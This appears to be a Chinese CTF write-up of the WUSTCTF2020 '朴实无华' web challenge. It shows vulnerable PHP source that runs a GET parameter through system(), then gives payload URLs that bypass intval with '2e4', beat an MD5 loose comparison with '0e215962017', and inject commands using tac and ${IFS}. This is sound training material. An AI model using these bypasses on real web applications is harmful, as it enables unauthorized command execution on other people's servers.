[WUSTCTF2020]朴实无华 ctf

[WUSTCTF2020]朴实无华

知识点:

  1. intval函数
  2. php MD5 弱比较
  3. tac读取文件
  4. ${IFS}空格绕过

在这里插入图片描述

进入环境
在这里插入图片描述
robots.txt里面有东西

在这里插入图片描述
进去这个文件
在这里插入图片描述
好家伙
假的flag

就在这个页面到处看看
在这里插入图片描述
在这里插入图片描述
响应头里面又有东西
访问
在这里插入图片描述
朴实无华,我知道题目为啥叫朴实无华了
在这里插入图片描述
接下来代码审计

我电脑的编码好像有问题,中文是乱码
不过问题不大
我去复制别人的

//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}

一共有三层绕过
先是level1
在这里插入图片描述
GET传参num,而且num的值既要小于2020,加1后又要大于2021…
如果传入的num不满足条件,就会变成穷人
如果不传入num,就要去非洲
在这里插入图片描述
在这里插入图片描述
注意这里

echo intval(1e10);    // 1410065408
echo intval('1e10');  // 1

如果intval函数参数填入科学计数法的字符串,会以e前面的数字作为返回值,这里是1
对字符串’1e10’+1可以将字符串类型强行转换成数字类型
在这里插入图片描述
构造payload
/fl4g.php?num=‘2e4’

level2
在这里插入图片描述
要求传入一个叫md5的参数,然后对其进行MD5加密,并且加密前后的值要求相等
注意是==
所以在MD5弱类型这方面下手

php 弱类型总结

找一个字符串,使得进行MD5加密前是’0e’开头的,MD5加密后也是’0e’开头的,这样子,就能保证加密前后的值是相等==的了

0e215962017

构造
/fl4g.php?num=2e4&md5=0e215962017

level3
在这里插入图片描述
要求传入参数get_flag,并且不能有空格
如果get_flag里面有cat,就会被替换成wctf2020
传入的get_flag会当作系统命令被执行

先看看当前目录下都有什么
/fl4g.php?num=2e4&md5=0e215962017&get_flag=ls
在这里插入图片描述
要读取那个很长的flag文件
读取文件用cat,但是这里被换掉了
所以我们改用tac
在这里插入图片描述
读取文件的命令是tac fllllaaaag,但是这里根据逻辑不能填空格

可以利用${IFS}替代空格

浅谈CTF中命令执行与绕过的小技巧

/fl4g.php?num=2e4&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值